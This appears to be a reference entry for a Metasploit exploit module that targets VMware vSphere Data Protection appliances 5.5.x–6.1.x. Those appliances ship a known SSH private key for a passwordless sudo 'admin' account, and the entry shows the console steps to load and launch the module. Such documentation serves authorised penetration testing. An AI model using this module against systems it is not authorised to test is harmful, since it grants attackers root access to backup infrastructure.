VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password.
Unix
cmd
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/ssh/vmware_vdp_known_privkey
msf exploit(vmware_vdp_known_privkey) > show targets
...targets...
msf exploit(vmware_vdp_known_privkey) > set TARGET < target-id >
msf exploit(vmware_vdp_known_privkey) > show options
...show and set options...
msf exploit(vmware_vdp_known_privkey) > exploit
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